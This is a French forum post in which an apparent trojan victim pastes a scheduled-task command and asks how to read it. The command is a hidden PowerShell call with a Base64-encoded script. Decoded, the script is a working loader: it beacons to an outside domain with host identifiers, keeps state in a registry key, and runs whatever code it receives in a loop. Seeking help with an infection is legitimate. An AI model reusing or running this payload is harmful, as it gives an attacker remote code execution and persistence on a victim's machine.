Cheval de troie

Bonjours, J'ai eu un cheval de troie qui a infecté ma machine et j'ai vue qu'ils m'ont rajouté des tache dans le planificateur nottement celui la que j'ai du mal a comprendre:
Dans l'invite de commande il fait cette commande:

/c powershell -WindowStyle Hidden -E "JAB2ACAAPQAgACIAMAAiADsACgAkAGwAdgAgAD0AIAAiADMAIgA7AAoAJABkACAAPQAgACIAdABvAG8AYgBsAHkAYwBhAHIAcwAuAGMAbwBtACIAOwAKACQAZQBwACAAPQAgACIAVwB5AEkAegBNAEQASQB3AE0AVABZAHoATQB6AGcANABOAEQAZwAzAE0AegBZAHgATgBpAEkAcwBNAFQAWQAwAE4AagBRADUATgBUAGcAMQBPAEYAMAA9ACIAOwAKAAoAJAByAHAAIAA9ACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABMAG8AZwBpAFMAaABkAHIAXAAiADsACgAkAHIAbgAgAD0AIAAiAFMAZQB0AHQAaQBuAGcAcwAiADsACgAKACQAYQA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQA7AAoACgAkAGoAZAAgAD0AIAAkAG4AdQBsAGwAOwAKAAoAJABqAHAAPQAkAG4AdQBsAGwAOwAKAHQAcgB5ACAAewAKAAkAJABqAHAAPQAkAGEALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGUAcAApACkAIAB8ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0ASgBzAG8AbgA7AAoAfQAgAGMAYQB0AGMAaAB7AH0ACgAKACQAdQA9ACQAagBwAFsAMABdADsACgAkAGkAcwA9ACQAagBwAFsAMQBdADsACgAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKABbAHMAdAByAGkAbgBnAF0AJABkAGUAKQAgAHsACgAJACQAZABiAD0AWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlACkAOwAKAAoACQAkAHMAdAA9ACQAYQAuAEcAZQB0AEIAeQB0AGUAcwAoACcARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQBWAGEAbAB1AGUAJwApADsACgAJACQAZQBkAD0AJABkAGIAWwAwAC4ALgA0AF0AOwAKAAoACQAkAGkAPQAwADsACgAJACQAbAA9ACQAZQBkAC4ATABlAG4AZwB0AGgAOwAKAAkAJABrAD0AQAAoACkAOwAKAAoACQBbAGEAcgByAGEAeQBdADoAOgBSAGUAcwBpAHoAZQAoAFsAcgBlAGYAXQAkAGsALAAkAHMAdAAuAGwAZQBuAGcAdABoACkAOwAKAAkAZgBvAHIAZQBhAGMAaAAoACQAYgAgAGkAbgAgACQAcwB0ACkAIAB7ACQAawBbACQAaQArACsAXQA9ACQAYgAgAC0AYgB4AG8AcgAgACQAZQBkAFsAJABpACUAJABsAF0AfQAKAAoACQAkAGIAcwA9ACQAZABiAFsANQAuAC4AJABkAGIALgBsAGUAbgBnAHQAaABdADsACgAKAAkAJABpAD0AMAA7AAoACQAkAGwAPQAkAGsALgBMAGUAbgBnAHQAaAA7AAoACQAkAGQAdAA9AEAAKAApADsACgAKAAkAWwBhAHIAcgBhAHkAXQA6ADoAUgBlAHMAaQB6AGUAKABbAHIAZQBmAF0AJABkAHQALAAkAGIAcwAuAGwAZQBuAGcAdABoACkAOwAKAAkAZgBvAHIAZQBhAGMAaAAoACQAYgAgAGkAbgAgACQAYgBzACkAIAB7ACQAZAB0AFsAJABpACsAKwBdAD0AJABiACAALQBiAHgAbwByACAAJABrAFsAJABpACUAJABsAF0AfQAKAAoACQByAGUAdAB1AHIAbgAgACQAYQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABkAHQAKQAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuADsACgB9AAoACgB3AGgAaQBsAGUAKAAkAHQAcgB1AGUAKQAgAHsACgAJAHQAcgB5ACAAewAKAAkACQB0AHIAeQAgAHsACgAJAAkACQBpAGYAIAAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcgBwACkAKQAgAHsACgAJAAkACQAJAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcgBwACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AAoACQAJAAkAfQAKAAkACQB9AGMAYQB0AGMAaAB7AH0ACgAKAAkACQAkAGUAeAAgAD0AIAAkAGYAYQBsAHMAZQA7AAoACgAJAAkAaQBmACAAKAAkAGoAZAAgAC0AZQBxACAAJABuAHUAbABsACkAIAB7AAoACQAJAAkAdAByAHkAIAB7AAoACQAJAAkACQAkAHIAIAA9ACAARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQBWAGEAbAB1AGUAIAAtAFAAYQB0AGgAIAAkAHIAcAAgAC0ATgBhAG0AZQAgACQAcgBuADsACgAJAAkACQAJACQAagBkACAAPQAgAGQAKAAkAHIAKQA7AAoACgAJAAkACQAJACQAdgAgAD0AIAAkAGoAZABbADAAXQA7AAoACgAJAAkACQAJACQAZQB4ACAAPQAgACQAdAByAHUAZQA7AAoACQAJAAkAfQBjAGEAdABjAGgAewB9AAoACQAJAH0AIABlAGwAcwBlACAAewAKAAkACQAJACQAdgAgAD0AIAAkAGoAZABbADAAXQA7AAoACQAJAH0ACgAKAAkACQB0AHIAeQAgAHsACgAJAAkACQAkAGQAdAAgAD0AIAB3AGcAZQB0ACAAIgBoAHQAdABwAHMAOgAvAC8AJABkAC8AeAA/AHUAPQAkAHUAJgBpAHMAPQAkAGkAcwAmAGwAdgA9ACQAbAB2ACYAcgB2AD0AJAB2ACIAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnADsACgAKAAkACQAJACQAagBkADIAIAA9ACAAZAAoACQAZAB0ACkAOwAKAAkACQAJAGkAZgAgACgAJABqAGQAMgBbADAAXQAgAC0AZwB0ACAAJAB2ACkAIAB7AAoACQAJAAkACQAkAHYAMgAgAD0AIAAkAGoAZAAyAFsAMABdADsACgAKAAkACQAJAAkATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAcgBwACAALQBOAGEAbQBlACAAJAByAG4AIAAtAFYAYQBsAHUAZQAgACQAZAB0ACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgACIAUwB0AHIAaQBuAGcAIgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7AAoACQAJAAkACQAkAGoAZAAgAD0AIAAkAGoAZAAyADsACgAJAAkACQAJACQAZQB4ACAAPQAgACQAdAByAHUAZQA7AAoACQAJAAkAfQAKAAkACQB9AGMAYQB0AGMAaAB7AH0ACgAKAAkACQBpAGYAIAAoACQAZQB4ACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsACgAJAAkACQB0AHIAeQB7AAoACQAJAAkACQBzAHQAbwBwADsACgAJAAkACQB9AGMAYQB0AGMAaAB7AH0ACgAKAAkACQAJAHQAcgB5ACAAewAKAAkACQAJAAkAaQBlAHgAIAAkAGoAZABbADEAXQA7AAoACQAJAAkAfQBjAGEAdABjAGgAewB9AAoACQAJAH0ACgAKAAkACQB0AHIAeQAgAHsACgAJAAkACQAkAHMAbABzACAAPQAgACgAKABnAGUAdAAtAHIAYQBuAGQAbwBtACAANwAwACAALQBtAGkAbgBpAG0AdQBtACAANQAwACkAKgA2ADAAKQA7AAoACQAJAAkAJAB0AHMAIAA9ACAAWwBpAG4AdABdACgARwBlAHQALQBEAGEAdABlACAALQBVAEYAbwByAG0AYQB0ACAAJQBzACkAOwAKAAoACQAJAAkAOgBzAGwAIAB3AGgAaQBsAGUAKAAkAHQAcgB1AGUAKQAgAHsACgAJAAkACQAJAHQAcgB5AHsACgAJAAkACQAJAAkAcgB1AG4AKAAkAGQALAAkAHUALAAkAGkAcwApADsACgAJAAkACQAJAH0AYwBhAHQAYwBoAHsAfQAKAAoACQAJAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAoAGcAZQB0AC0AcgBhAG4AZABvAG0AIAA2ADUAIAAtAG0AaQBuAGkAbQB1AG0AIAAyADUAKQA7AAoACQAJAAkACQAkAHQAcwAyACAAPQAgAFsAaQBuAHQAXQAoAEcAZQB0AC0ARABhAHQAZQAgAC0AVQBGAG8AcgBtAGEAdAAgACUAcwApADsACgAKAAkACQAJAAkAaQBmACAAKAAoACQAdABzADIALQAkAHQAcwApACAALQBnAHQAIAAkAHMAbABzACkAIAB7AAoACQAJAAkACQAJAGIAcgBlAGEAawAgAHMAbAA7AAoACQAJAAkACQB9AAoACQAJAAkAfQAKAAkACQB9ACAAYwBhAHQAYwBoAHsAfQAKAAkAfQAgAGMAYQB0AGMAaAB7AH0ACgB9AA=="

Ayant vue cette monstruosité je me demande comment retrouvé la chose qui est Hidden pour pouvoir comprendre ce qu'il fait avec ce fichier.

Ma question est: Comment on peut retrouvé cette chose ?

Merci d'avance !